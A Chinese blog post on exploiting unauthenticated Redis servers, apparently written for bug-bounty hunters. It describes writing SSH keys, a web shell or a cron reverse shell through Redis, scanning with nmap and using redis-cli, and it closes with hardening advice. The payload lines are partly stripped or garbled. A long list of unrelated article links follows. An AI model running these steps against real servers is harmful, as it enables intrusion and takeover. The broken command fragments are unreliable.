摸金Redis漏洞
摘要:漏洞可以参考乌云案例
1.Redis漏洞基本信息漏洞名称:Redis服务器远程执行漏洞漏洞详情:Redis因配置不当可以无密码登录,导致未授权访问。
当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件进行远程控制、反弹shell进行远程控制、或投放其他恶意文件,也可以直接执行redis命令,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。
利用原理:主要是通过无密码登录redis,然后往redis缓存写入数据库,再通过redis缓存保存到redis服务器任意目录。
目前常用的利用方式:1)写入SSH的key,然后利用key远程登录;2)替换redis服务器passwd文件,相当于修改服务器密码;3)写入网页木马(前提需要找到网站路径),可通过网页木马远程控制服务器;4)写入反弹shell,然后利用shell远程控制服务器;
漏洞等级:高危
2.如何发现存在漏洞的网站
124.116.xxx.xxx(测试服务器哈),公网刷redis漏洞其实也是借助第三方信息收集平台,比如XX眼,然后再通过XXXX找到真实的域名,或者扫描端口。内网的话,就直接nmap -p 6379 192.168.1.1/24 -open。
3.漏洞利用测试
不管内网还是外网,漏洞的利用是关键。现在我们来进行测试一下
返回PONG说明是没有设置密码,直接查看服务器信息 info
一般到这来就可以提交漏洞了,只是getshell厂商给的赏金高,这里直接参考乌云案例步骤
a.由于redis服务器默认是没有设redis访问密码,攻击者可直接向rides服务器缓存写入一个反弹shell:
0>&1nn"redis-cli -h 需要测试的网站ip -x set 1
b.登录redis服务器redis服务,进行备份/创建一个/var/spool/cron目录root文件
redis-cli -h 需要测试的网站ip
c.最后就是开启监听端口
4.修复建议
纵观整个攻击流程,之所以很顺利,都是因为redis-server的默认配置有着诸多不足,而运维同学为了简单,都直接使用了默认配置。
修复方法参考:
1、限制redis访问
如果仅需要在本地访问redis,找到redis.conf配置文件设置bind配置项为:bind 127.0.0.1
保存,重启redis服务再次查看redis进程。
或主机防火墙/网络防火墙设置仅允许某IP访问redis服务器redis服务端口(默认6379)。
2、设置redis访问密码
增加redis访问密码同上,在redis.conf配置文件中找到requirepass配置项,取消#注释符,在requirepass后面添加设置的密码
3、以非root用户运行redis服务
- VisualStudio 怎么使用Visual Leak Detector
- Cannot find module 'socket.io'
- 【学术】独热编码如何在Python中排列数据?
- 比特币的私钥【区块链生存训练】
- Unity3D学习笔记第一课
- Extjs4处理后台json数据中日期和时间的方法
- 机器学习:Python测试线性可分性的方法
- Java 机器学习库Smile实战(一)SVM
- 交易Transaction【区块链生存训练】
- 马尔可夫链文本生成的简单应用:不足20行的Python代码生成鸡汤文
- 最长递增子序列
- dedecms批量删除文档关键词可以吗
- 【学术】在C ++中使用TensorFlow训练深度神经网络
- 一个canonical标签解决site不在首页的问题
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 使用IDEA写Python之pytest环境搭建及第一个程序编写
- PAT (Basic Level) Practice (中文)1026 程序运行时间
- PAT (Basic Level) Practice (中文)1091 N-自守数
- PAT (Basic Level) Practice (中文)1007 素数对猜想
- PAT (Basic Level) Practice (中文)1019 数字黑洞
- PAT (Basic Level) Practice (中文)1022 D进制的A+B
- 记一次线上商城系统高并发的优化
- 15个必须知道的JavaScript数组方法
- RedLock究竟是不是Redis分布式锁分布式环境下的银弹?
- PAT (Basic Level) Practice (中文)1023 组个最小数
- PAT (Basic Level) Practice (中文)1041 考试座位号
- PAT (Basic Level) Practice (中文)1042 字符统计
- 搭建 Apache Jmeter 分布式压测与监控,真那么难搞定?|实战干货
- PAT (Basic Level) Practice (中文)1056 组合数的和
- PAT (Basic Level) Practice (中文)1057 数零壹